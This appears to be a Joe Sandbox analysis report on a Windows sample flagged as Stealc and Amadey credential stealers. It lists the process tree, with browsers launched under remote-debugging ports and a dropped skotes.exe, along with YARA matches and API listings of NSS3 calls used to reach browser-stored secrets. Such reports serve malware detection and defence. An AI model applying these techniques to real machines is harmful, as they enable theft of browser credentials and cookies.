2024-11-20 20:06:08 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Target ID:	0
Start time:	15:05:11
Start date:	20/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xbc0000
File size:	1'848'320 bytes
MD5 hash:	FF8EB93E00CF8C24C14B4A9B713F2115
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1813754900.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1813754900.0000000000C8C000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1823726536.0000000001A2E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1294491681.00000000055C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:05:22
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	15:05:23
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2312 --field-trial-handle=2004,i,4550808738951624434,3396110950009088657,262144 /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:28:23
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	16:28:23
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2280,i,4679761206996037597,10384987067001823666,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	16:28:23
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	16:28:24
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2236 --field-trial-handle=2008,i,9242084691122634382,6870348634254363273,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	16:28:29
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6580 --field-trial-handle=2008,i,9242084691122634382,6870348634254363273,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	16:28:29
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6772 --field-trial-handle=2008,i,9242084691122634382,6870348634254363273,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	16:28:51
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsGCBFBGCGIJ.exe"
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	16:28:51
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	16:28:52
Start date:	20/11/2024
Path:	C:\Users\user\DocumentsGCBFBGCGIJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsGCBFBGCGIJ.exe"
Imagebase:	0xa00000
File size:	1'858'048 bytes
MD5 hash:	AE0E62A9AE1F471958341B45817B6804
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000003.1799211641.0000000004CC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000002.1839804451.0000000000A01000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 53%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	16:28:53
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xa80000
File size:	1'858'048 bytes
MD5 hash:	AE0E62A9AE1F471958341B45817B6804
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.1860245205.0000000000A81000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000003.1819820486.0000000005320000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 53%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	16:28:55
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xa80000
File size:	1'858'048 bytes
MD5 hash:	AE0E62A9AE1F471958341B45817B6804
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000003.1831173340.0000000005260000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.1871963481.0000000000A81000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	16:29:24
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5716 --field-trial-handle=2008,i,9242084691122634382,6870348634254363273,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	16:30:00
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xa80000
File size:	1'858'048 bytes
MD5 hash:	AE0E62A9AE1F471958341B45817B6804
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000003.2481029988.0000000004B20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000002.2552830550.0000000000A81000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Function 6CE66E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CFB2120,6CE67E60), ref: 6CE66EBC
TlsGetValue.KERNEL32 ref: 6CE66EDF
EnterCriticalSection.KERNEL32(?), ref: 6CE66EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6CE66F25

Part of subcall function 6CE3A900: TlsGetValue.KERNEL32(00000000,?,6CFB14E4,?,6CDD4DD9), ref: 6CE3A90F
Part of subcall function 6CE3A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CE3A94F

PR_Unlock.NSS3 ref: 6CE66F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6CE66FA9
TlsGetValue.KERNEL32 ref: 6CE670B4
EnterCriticalSection.KERNEL32(?), ref: 6CE670C8
PR_CallOnce.NSS3(6CFB24C0,6CEA7590), ref: 6CE67104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE67117
SECOID_Init.NSS3 ref: 6CE67128
PORT_Alloc_Util.NSS3(00000057), ref: 6CE6714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE6717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE671A9
PR_NotifyAllCondVar.NSS3 ref: 6CE671CF
PR_Unlock.NSS3 ref: 6CE671DD
free.MOZGLUE(?), ref: 6CE671EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE67208
free.MOZGLUE(00000000), ref: 6CE67221
free.MOZGLUE(00000001), ref: 6CE67235
TlsGetValue.KERNEL32 ref: 6CE6724A
EnterCriticalSection.KERNEL32(?), ref: 6CE6725E
PR_NotifyCondVar.NSS3 ref: 6CE67273
PR_Unlock.NSS3 ref: 6CE67281
SECMOD_DestroyModule.NSS3(00000000), ref: 6CE67291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE672B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE672D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE672E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE67301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE67310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE67335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE67344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE67363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE67372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6CFA0148,,defaultModDB,internalKeySlot), ref: 6CE674CC
free.MOZGLUE(00000000), ref: 6CE67513
free.MOZGLUE(00000000), ref: 6CE6751B
free.MOZGLUE(00000000), ref: 6CE67528
free.MOZGLUE(00000000), ref: 6CE6753C
free.MOZGLUE(00000000), ref: 6CE67550
free.MOZGLUE(00000000), ref: 6CE67561
free.MOZGLUE(00000000), ref: 6CE67572
free.MOZGLUE(00000000), ref: 6CE67583
free.MOZGLUE(00000000), ref: 6CE67594
free.MOZGLUE(00000000), ref: 6CE675A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6CE675BD
free.MOZGLUE(00000000), ref: 6CE675C8
free.MOZGLUE(00000000), ref: 6CE675F1
PR_NewLock.NSS3 ref: 6CE67636
SECMOD_DestroyModule.NSS3(00000000), ref: 6CE67686
PR_NewLock.NSS3 ref: 6CE676A2

Part of subcall function 6CF198D0: calloc.MOZGLUE(00000001,00000084,6CE40936,00000001,?,6CE4102C), ref: 6CF198E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6CE676B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6CE67707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CE6771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CE67731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6CE6774A
DeleteCriticalSection.KERNEL32(?), ref: 6CE67770
free.MOZGLUE(?), ref: 6CE67779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE6779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE677AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6CE677C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CE677DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6CE67821
PORT_Alloc_Util.NSS3(?), ref: 6CE67837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6CE6785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CE6786F
SECMOD_AddNewModuleEx.NSS3 ref: 6CE678AC
free.MOZGLUE(00000000), ref: 6CE678BE
SECMOD_AddNewModuleEx.NSS3 ref: 6CE678F3
free.MOZGLUE(00000000), ref: 6CE678FC
free.MOZGLUE(00000000), ref: 6CE6791C

Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407AD
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407CD
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407D6
Part of subcall function 6CE407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDD204A), ref: 6CE407E4
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,6CDD204A), ref: 6CE40864
Part of subcall function 6CE407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE40880
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,6CDD204A), ref: 6CE408CB
Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(?,?,6CDD204A), ref: 6CE408D7
Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(?,?,6CDD204A), ref: 6CE408FB

Strings

dbm:, xrefs: 6CE67716
sql:, xrefs: 6CE676FE
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6CE674C7
NSS Internal Module, xrefs: 6CE674A2, 6CE674C6
Spac, xrefs: 6CE67389
extern:, xrefs: 6CE6772B
kbi., xrefs: 6CE67886
dll, xrefs: 6CE6788E
rdb:, xrefs: 6CE67744
,defaultModDB,internalKeySlot, xrefs: 6CE6748D, 6CE674AA

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: 6ddbf7018bf48e5ba8da3cddfb4cb8f9e47823850843f287dc77b35fe46a7d3e
Instruction ID: 9437833074be1fb8354cfa9aebbbafd7c770edc700742428c115147ec592c65a
Opcode Fuzzy Hash: 6ddbf7018bf48e5ba8da3cddfb4cb8f9e47823850843f287dc77b35fe46a7d3e
Instruction Fuzzy Hash: 0B5203B1E602019BEF109FA6DC457AEBBB4AF0630CF254128EC19A6F41E732D954CB91

Function 6CE8BFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6CE8C0C8

Part of subcall function 6CF19440: LeaveCriticalSection.KERNEL32 ref: 6CF195CD
Part of subcall function 6CF19440: TlsGetValue.KERNEL32 ref: 6CF19622
Part of subcall function 6CF19440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6CF1964E

PR_EnterMonitor.NSS3 ref: 6CE8C0AE

Part of subcall function 6CF19090: LeaveCriticalSection.KERNEL32 ref: 6CF191AA
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF19212
Part of subcall function 6CF19090: _PR_MD_WAIT_CV.NSS3 ref: 6CF1926B

Part of subcall function 6CE40600: GetLastError.KERNEL32(?,?,?,?,?,6CE405E2), ref: 6CE40642
Part of subcall function 6CE40600: TlsGetValue.KERNEL32(?,?,?,?,?,6CE405E2), ref: 6CE4065D
Part of subcall function 6CE40600: GetLastError.KERNEL32 ref: 6CE40678
Part of subcall function 6CE40600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6CE4068A
Part of subcall function 6CE40600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE40693
Part of subcall function 6CE40600: PR_SetErrorText.NSS3(00000000,?), ref: 6CE4069D
Part of subcall function 6CE40600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,D45EFBF9,?,?,?,?,?,6CE405E2), ref: 6CE406CA
Part of subcall function 6CE40600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6CE405E2), ref: 6CE406E6

PR_EnterMonitor.NSS3 ref: 6CE8C0F2
PR_ExitMonitor.NSS3 ref: 6CE8C10E
PR_ExitMonitor.NSS3 ref: 6CE8C081

Part of subcall function 6CF19440: TlsGetValue.KERNEL32 ref: 6CF1945B
Part of subcall function 6CF19440: TlsGetValue.KERNEL32 ref: 6CF19479
Part of subcall function 6CF19440: EnterCriticalSection.KERNEL32 ref: 6CF19495
Part of subcall function 6CF19440: TlsGetValue.KERNEL32 ref: 6CF194E4
Part of subcall function 6CF19440: TlsGetValue.KERNEL32 ref: 6CF19532
Part of subcall function 6CF19440: LeaveCriticalSection.KERNEL32 ref: 6CF1955D

PR_EnterMonitor.NSS3 ref: 6CE8C068

Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190AB
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190C9
Part of subcall function 6CF19090: EnterCriticalSection.KERNEL32 ref: 6CF190E5
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF19116
Part of subcall function 6CF19090: LeaveCriticalSection.KERNEL32 ref: 6CF1913F

Part of subcall function 6CE40600: GetProcAddress.KERNEL32(?,?), ref: 6CE40623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6CE8C14F
PR_LoadLibraryWithFlags.NSS3 ref: 6CE8C183
free.MOZGLUE(00000000), ref: 6CE8C18E
PR_LoadLibrary.NSS3(?), ref: 6CE8C1A3
PR_EnterMonitor.NSS3 ref: 6CE8C1D4
PR_ExitMonitor.NSS3 ref: 6CE8C1F3
PR_CallOnce.NSS3(6CFB2318,6CE8CA70), ref: 6CE8C210
PR_EnterMonitor.NSS3 ref: 6CE8C22B
PR_ExitMonitor.NSS3 ref: 6CE8C247
PR_EnterMonitor.NSS3 ref: 6CE8C26A
PR_ExitMonitor.NSS3 ref: 6CE8C287
PR_UnloadLibrary.NSS3(?), ref: 6CE8C2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6CE8C392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CE8C3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6CE8C3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6CE8C782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6CE8C7B5
PR_UnloadLibrary.NSS3(?), ref: 6CE8C7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6CE8C82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CE8C8BF
PORT_Alloc_Util.NSS3(?), ref: 6CE8C8D5
free.MOZGLUE(00000000), ref: 6CE8C900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CE8C9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE8C9E5
free.MOZGLUE(00000000), ref: 6CE8CA5A

Strings

NSS_DISABLE_UNLOAD, xrefs: 6CE8C7B0
NSS_FORCE_TOKEN_LOCK, xrefs: 6CE8C77D
Vendor NSS FIPS Interface, xrefs: 6CE8C34A
NSC_GetInterface, xrefs: 6CE8C04F
NSS_DEBUG_PKCS11_MODULE, xrefs: 6CE8C38D
PKCS 11, xrefs: 6CE8C2F9, 6CE8C314
NSC_ModuleDBFunc, xrefs: 6CE8C0FC
FC_GetFunctionList, xrefs: 6CE8C098
NSC_GetFunctionList, xrefs: 6CE8C093
FC_GetInterface, xrefs: 6CE8C054
NSS_ReturnModuleSpecData, xrefs: 6CE8C275
nss_mod_log, xrefs: 6CE8C3CC

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: 029317ded0d61fb9d86cb2f4ecba7fad473701f42fd917c94c3f2f4d87284b1a
Instruction ID: f06e84a50cc806cb795ee526faaac4cb96438d279e431396ae6170436df1e4fe
Opcode Fuzzy Hash: 029317ded0d61fb9d86cb2f4ecba7fad473701f42fd917c94c3f2f4d87284b1a
Instruction Fuzzy Hash: 91427CB1F122048FEF40DF64D88BB9A3BB1BB46308F244169D80D9BB61E736D515CB95

Function 6CF63FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6CF63FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CF63FFE
malloc.MOZGLUE(-00000003), ref: 6CF64016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6CF9FC62), ref: 6CF6404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CF6407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CF640A4
